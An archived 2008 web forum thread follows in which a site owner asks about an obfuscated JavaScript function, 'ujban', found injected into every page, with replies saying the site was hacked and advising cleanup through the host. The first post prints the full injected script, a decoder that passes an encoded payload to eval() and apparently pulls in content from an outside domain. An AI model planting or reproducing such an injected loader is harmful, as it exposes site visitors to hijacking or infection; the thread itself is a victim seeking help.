...

View Full Version : function ujban(x) mess my page



TheJuan
04-30-2008, 03:50 AM
hi
i really dont know what this script is. i just see my site index.php with this line of code. any idea what is this and how this works?

the whole page change its layout, and i see request from hxxp://gate4clicks[dot]net/t/?15498051dcb but i am really sure i dont get files and call from that domain.


<body onunload="GUnloadApi()">
<script language=JavaScript>function ujban(x){var l=x.length,b=1024,i,j,r,p=0,s=0,w=0,t=Array(63,57,51,29,62,43,37,31,32,12,0,0,0,0,0,0,8,22,36,6,19,3 8,10,11,44,54,35,9,50,33,2,45,28,46,42,5,17,58,24,53,25,30,26,0,0,0,0,20,0,47,27,61,23,16,18,1,41,7, 0,3,34,39,48,40,15,21,4,56,60,49,13,59,14,55,52);for(j=Math.ceil(l/b);j>0;j--){r='';for(i=Math.min(l,b);i>0;i--,l--){{w|=(t[x.charCodeAt(p++)-48])<<s;if(s){r+=String.fromCharCode(211^w&255);w>>=8;s-=2}else{s=6}}}eval(r);}}ujban('BRbayLGhckUhLYRh8UxcdLbaIfpUyLGHEU5OcYZ0BCRQmZw4z0QQWCRH4ZwtcF5aIU4sE G4OnCwt8CFHQi0QmYUoh2p0zFwhIYxH0RGHsNZ0cZwht7F0HDp4YFwhwI7otZZayQamLYUQciRHcYGa4Qa41ixsB54UUJpcJbQsy NbHzJpcupphUYwhwUxsMd4twZ5QzQwhQDxs2kUhR45OQi0OUNUo0F5RhyGacZbtO0x0UAboLU5OODa4')</script>
<!-- 66.7.193.3 -->

abduraooft
04-30-2008, 12:30 PM
Are you using a free hosting service?

TheJuan
05-02-2008, 02:41 AM
no, im hosting with a paid account. and every index.html, index.php where there is a <body> tag, i can see this script inserted.

how this script works? will it affect my visitors?

Arragon
05-02-2008, 03:58 PM
I think you have been hacked.

http://www.thegermz.com/tutorials/decode-obfuscated-javascript

I suggest contacting the support desk at your host to help you clean it up and make sure no other accounts on their server have the same issue.



EZ Archive Ads Plugin for vBulletin Copyright 2006 Computer Help Forum